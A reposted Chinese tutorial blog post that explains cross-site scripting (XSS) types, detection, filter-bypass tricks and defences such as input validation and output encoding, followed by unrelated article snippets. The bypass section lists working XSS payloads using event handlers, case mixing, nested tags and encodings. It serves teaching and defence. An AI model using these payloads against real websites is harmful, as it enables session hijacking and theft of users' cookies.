xss漏洞简介

news2024/12/27 13:02:09

漏洞简介

跨站脚本(Cross-site scripting ,简称 XSS)是一种经常出现在Web应用程序中的计算机安全漏洞,是由于web应用程序对用户的输入过滤不足而产生的,是代码注入的一种,XSS就是攻击者利用网站漏洞把恶意脚本代码(js脚本代码,CSS样式,或者其他意料之外的前端代码)注入到网页中,当其他用户浏览该网页时,就会执行其中的恶意代码,对受害用户可能采取Cookie资料窃取,会话劫持、钓鱼欺骗等各种攻击。

漏洞可能出现的地方

有提交数据的地方,且输入的数据可以返回到前端。
重灾区:评论区,留言区,个人信息,订单信息等。
针对型:站内信,网站即时通讯,私信,意见反馈等
存在风险:搜索框,当前目录,图片属性,自定义头像链接等。

漏洞危害 

  • 盗取身份信息,窃取会话Cookie从而窃取网站用户隐私、包括账户、浏览历史、IP等。
  • 未授权操作,通过JS发起敏感操作请求。
  • 按键记录和钓鱼。
  • 更广泛的蠕虫传播,借助网站进行传播,使网站的使用用户受到攻击。
  • 劫持用户会话,从而知悉任意操作,比如弹窗跳转、篡改页面、网页挂马。
  • 总结:简而言之,就是所有js能做到的事,它都能做到。

XSS类型

反射型XSS

反射型XSS,又称非持久型XSS,攻击相对于受害者而言是一次性的,输入的内容不会存到数据库中(输 入内容会直接返回的参数都可能存在反射型XSS),攻击者诱导受害者点击包含恶意JavaSctipt代码的 URL,当受害者点击这些精心设计的链接后,恶意代码会直接在受害者主机上的浏览器执行;恶意代码并没有保存在目标网站,而Web应用程序只是不加处理的把该恶意脚本反射回受害者的浏览器而使受害者的浏览器执行相应的脚本。

反射型XSS的攻击流程图下图

 

存储型XSS 

存储型 XSS 是指应用程序将存在 XSS payload 的数据未进行过滤检查便存入到数据库中,当下一次从数据库中获取该数据时程序也未对其进行合法性校验,直接将其展示在前端,页面将会执行XSS
payload攻击用户。
存储型 XSS 的攻击流程图下图

DOM型XSS 

DOM XSS 不与后端服务器交互数据, payload 不会存到数据库中,也属于反射型的一种,通过 dom 操作前端输出的时候产生问题。
DOM型XSS的攻击流程图下图

检测方法 

  • 寻找可控参数,URL中,提交的表单中,cookie等
  • 在可控参数中添加JS代码,发起请求。
  • 请求后在响应包中查看恶意代码是否被原样返回到前端页面(一般使用JS弹窗)
  • 若存在过滤,使用测试过滤字符:";--"=&{()},笔和得到完整的js代码。

绕过手段

 前端绕过

抓包重放,或者修改前端代码

替换关键函数,标签

有时候后端的过滤,编码只针对关键函数,如script,alert,因此可以采用一下方法绕过

1 、替换弹窗函数
< script > confirm ( 1 ) < /script>
弹窗函数:
alert 弹窗 : 普通弹窗提示
confirm ( "" ) 弹窗 :判断是否操作
prompt ( "" ) 弹窗:可以输入内容
window . open 自定义弹窗
2 、使用 js 指令
< img src = 1 onerror = alert ( 'xss' ) >
< img src = 1 onerror = "javascript:alert('xss');" >
< img src = 1 onerror = javascript : alert ( 'xss' ) >
3 、特殊标签
\ < a onmouseover = "alert(document.cookie)" \ > 正常标签,不要点我 \ < /a\>
\< a onmouseover = alert ( document . cookie )\ > 异常标签,不要点我 \ < /a\>
< IMG """><SCRIPT>alert('xss')</script>
4 、其他非黑名单标签和事件
< img >
payload < img src = 1 οnerrοr = alert ( "xss" ); >
< input >
payload : < input onfocus = "alert('xss');" >
< input οnblur = alert ( "xss" ) autofocus >< input autofocus > # 竞争焦点,触发
onblur 事件
< input onfocus = "alert('xss');" autofocus > # 通过 autofocus 属性执行本身的 focus
事件
< details >
payload : < details ontoggle = "alert('xss');" >
< details open ontoggle = "alert('xss');" > # 使用 open 属性触发 ontoggle 事件
< svg >
payload : < svg οnlοad = alert ( "xss" ); >

大小写绕过

一般后台对输入进行过滤有两种方法,以下两种方法可以用大小写混合的方式进行绕过,而后端是不管大小写的,可以正常执行我们的语句, 大小写方式如下
< ScRipt > Alert ( 1 ) < /SCRipt>
< IMG srC = '' onerror = alert ( 1 ) >

混写绕过

拼凑绕过:后端会对我们输入的标签进行替换,但只替换一次,所以可以这样
< scri < script > pt > alert ( "hello world!" ) < /scri</ script > pt >

这样经过后端的替换之后就会变成:

<script>alert("hello world!")</script>  

编码绕过

即对我们的payload进行编码,如URL编码,HTML编码

针对 < script > alert ( 1 ) < /script>
1 URL 编码
% 3 cscript % 3 ealert ( % 271 % 27 ) % 3 c % 2 fscript % 3 e
2 HTML 实体编码(可部分可全部)
< script > alert ( & quot ; 1 & quot ;) < /script>
3 UTF - 16
\ x3Cscript \ x3Ealert ( 1 )\ x3C \ x2Fscript \ x3E
4 、其他
八进制编码、十六进制编码、二进制编码、混合编码、 base64 编码、 Unicode

其他绕过

1、使用JS指令

< img src =' ' οnerrοr= javascript:alert('XSS')>

2、置空属性

< img src=' ' οnerrοr=alert('XSS')>

2、空格、tab绕过

< img src=' '  οnerrοr=javascript:alert('XSS')>

< img sec=' ' οnerrοr=javas        cript:alert('XSS')>

防御措施

输入检查

1 、假定所有输入都是可疑的,必须对所有输入中的 < > ' " on.* script iframe 等字
样进行严格的检查。这里的输入不仅仅是用户可以直接交互的输入接口,也包括 HTTP 请求中的 Cookie 中的变量,HTTP 请求头部中的变量等
2 、验证用户输入的数据类型,数据长度,数据内容(最好客户端与服务端均进行验证,服务端验证是必须的)
  • 如果数据类型为整型,则使用 intval 强制转换变量类型
  • 如果用户输入是手机号,那么就需要判断是否是11位数字
  • 如果数据内容为邮箱,则应使用正则取 A-Za-z0-9.@-_ 范围内的值,其它字符则忽略掉

输出编码

对用户的不可信的输入内容均采用编码的方式输出到页面中,常见的编码方式有以下三种:

  • URL编码
  • HTML编码
  • JavaScript编码

常见需要编码的字符

对用户输入的不信任的内容均采用编码的方式输出到页面中,输出编码手段主要有 3 种编码:
URL 编码
HTML 编码
JavaScript 编码
常见需要编码的字符:
需要编码的字符编码后的字符
&&amp;
<&lt;
>&gt;
"&quot;
'&#x27;
/&#x2f;

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1642527.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

wpf线程中更新UI的4种方式

在wpf中&#xff0c;更新UI上面的数据&#xff0c;那是必经之路&#xff0c;搞不好&#xff0c;就是死锁&#xff0c;或者没反应&#xff0c;很多时候&#xff0c;都是嵌套的非常深导致的。但是更新UI的方式&#xff0c;有很多的种&#xff0c;不同的方式&#xff0c;表示的意思…

目标跟踪—卡尔曼滤波

目标跟踪—卡尔曼滤波 卡尔曼滤波引入 滤波是将信号中特定波段频率滤除的操作&#xff0c;是抑制和防止干扰的一项重要措施。是根据观察某一随机过程的结果&#xff0c;对另一与之有关的随机过程进行估计的概率理论与方法。 历史上最早考虑的是维纳滤波&#xff0c;后来R.E.卡…

anaconda、cuda、tensorflow、pycharm环境安装

anaconda、cuda、tensorflow、pycharm环境安装 anaconda安装 anaconda官方下载地址 本文使用的是基于python3.9的anaconda 接下来跟着步骤安装&#xff1a; 检验conda是否成功安装 安装CUDA和cuDNN 提醒&#xff0c;CUDA和cuDNN两者必须版本对应&#xff0c;否者将会出错…

SpringBoot---------Swagger

第一步&#xff1a;引入依赖 <!-- swagger--><dependency><groupId>com.github.xiaoymin</groupId><artifactId>knife4j-spring-boot-starter</artifactId></dependency> 第二步&#xff1a;配置文件 import com.sky.intercept…

Educational Codeforces Round 165 (Rated for Div. 2) (C、D)

1969C - Minimizing the Sum 题意&#xff1a; 思路&#xff1a;观察到操作数很小&#xff0c;最值问题操作数很容易想到dp&#xff0c;用表示第个元素&#xff0c;操作了次的最小值总和&#xff0c;转移的时候枚举连续操作了几次即可&#xff0c;而连续操作了几次即将全部变成…

微信小程序 uniapp家庭食谱菜谱食材网上商城系统小程序ko137

随着生活节奏的不断加快&#xff0c;越来越多的人因为工作忙而没有时间自己出去订购喜欢的菜品。随着Internet的飞速发展&#xff0c;网络已经成为我们日常生活中必不可少的部分&#xff0c;越来越多的人也接受了电子商务这种快捷、方便的交易方式。网上订餐其独有的便捷性和直…

GNU Radio创建FFT、IFFT C++ OOT块

文章目录 前言一、GNU Radio官方FFT弊端二、创建自定义的 C OOT 块1、创建 OOT 模块2、创建 OOT 块3、修改 C 和 CMAKE 文件4、编译及安装 OOT 块 三、测试1、grc 图2、运行结果①、时域波形对比②、频谱图对比 四、资源自取 前言 GNU Radio 自带的 FFT 模块使用起来不是很方便…

opengauss概述-基础知识篇-备考华为高斯

目录 &#x1f9e8;考前准备: &#x1f3a1;数据库操作语言 ✨OLTP和OLAP &#x1f3af;常用函数 &#x1f9f2;字符处理函数 关于 left 和 right 特别重点的字符串函数 &#x1f9f2;数字操作函数 关于 ceil 和 floor &#x1f9f2;时间和日期处理函数 &#x1f9f…

karpathy Let‘s build GPT

1 introduction 按照karpathy的教程&#xff0c;一步步的完成transformer的构建&#xff0c;并在这个过程中&#xff0c;加深对transformer设计的理解。 karpathy推荐在进行网络设计的过程中&#xff0c;同时利用jupyter notebook进行快速测试和python进行主要的网络的构建。 …

安卓 app icon大小 安卓app界面尺寸大小

移动应用的界面设计画布尺寸设计多大&#xff08;特别是Android&#xff09;、图标和字体大小怎么定、需要设计多套设计稿么、如何切图以配合开发的实现&#xff1f; 本篇将结合iOS和android官方的设计规范、搜集的资料以及工作中的摸索&#xff0c;来分享移动应用界面设计中的…

《Fundamentals of Power Electronics》——基础交流建模方法

PWM整流器小信号交流模型建模的主要步骤为&#xff1a; (a)利用小纹波近似的动态版本&#xff0c;建立与电感和电容波形的低频平均值有关的方程&#xff1b; (b)平均方程的扰动和线性化&#xff1b; (c)交流等效电路模型的建立。 以下图buck-boost电路为例进行分析。 首先测…

分类规则挖掘(一)

目录 一、分类问题概述&#xff08;一&#xff09;分类规则挖掘&#xff08;二&#xff09;分类规则评估&#xff08;三&#xff09;分类规则应用 二、k-最近邻分类法 一、分类问题概述 动物分类&#xff1a;设有动物学家陪小朋友林中散步&#xff0c;若有动物突然从小朋友身边…

电路板/硬件---器件

电阻 电阻作用 电阻在电路中扮演着重要的角色&#xff0c;其作用包括&#xff1a; 限制电流&#xff1a;电阻通过阻碍电子流动的自由而限制电流。这是电阻最基本的功能之一。根据欧姆定律&#xff0c;电流与电阻成正比&#xff0c;电阻越大&#xff0c;通过电阻的电流就越小。…

【机器视觉】C# .NET 8 部署yolov9 onnx对象检测

这段代码展示了一个使用YOLOv9进行对象检测的简单测试框架。代码主体以及其功能分为以下几个关键部分&#xff1a; 创建测试图片数组 _testImages&#xff0c;它包含了图片文件名和对应的标签。使用 buildTests 方法来从给定的文件名中加载图片并调整尺寸&#xff0c;准备测试数…

Linux搭建sqlilabs靶场

提前准备&#xff1a; 文章中所使用到的Linux系统&#xff1a;Ubantu20.4sqlilabs靶场下载地址&#xff1a;GitHub - Audi-1/sqli-labs: SQLI labs to test error based, Blind boolean based, Time based. 一. 安装phpstudy phpstudy安装命令&#xff1a;wget -O install.sh h…

【链表-双向链表】

链表-双向链表 1.链表的分类1.1 分类依据1.2 常用类型 2.双向链表的2.1 双向链表的结构2.2 双向链表的操作2.2.1 **初始化**2.2.2 **尾插**2.2.3 **头插**2.2.4 **尾删**2.2.5 **头删**2.2.6 在pos位置之后插入数据2.2.7 删除pos节点2.2.8 查找2.2.9 销毁 1.链表的分类 1.1 分…

Java如何获取当前日期和时间?

Java如何获取当前日期和时间&#xff1f; 本文将为您介绍 Java 中关于日期和时间获取的方法&#xff0c;以及介绍 Java 8 中获取日期和时间的全新API。 1、 System.currentTimeMillis() 获取标准时间可以使用 System.currentTimeMillis() 方法来获取&#xff0c;此方法优势是…

Qt与MySQL连接

QT连接Mysql数据库&#xff08;详细成功版&#xff09;-CSD N博客 我的MySQL是64位的&#xff0c;所以我的Qt的套件也需要是64位的 遇到的问题&#xff1a; &#xff08;available drivers中已经有QMYSQL QMYSQL3&#xff0c;还是not loaded&#xff09; QSqlDatabase: QMYS…

专项技能训练五《云计算网络技术与应用》实训7-1:安装mininet

文章目录 mininet安装1. 按6-1教程安装opendaylight控制器。2. 按6-2教程安装RYU控制器。3. 按5-1教程安装openvswitch虚拟交换机并开启服务。4. 将老师所给mininet安装包试用winSCP传送至电脑端。5. 安装net-tools。6. 安装mininet7. 安装完成后&#xff0c;使用命令建立拓扑&…

Jenkins集成Kubernetes 部署springboot项目

文章目录 准备部署的yml文件Harbor私服配置测试使用效果Jenkins远程调用参考文章 准备部署的yml文件 apiVersion: apps/v1 kind: Deployment metadata:namespace: testname: pipelinelabels:app: pipeline spec:replicas: 2selector:matchLabels:app: pipelinetemplate:metada…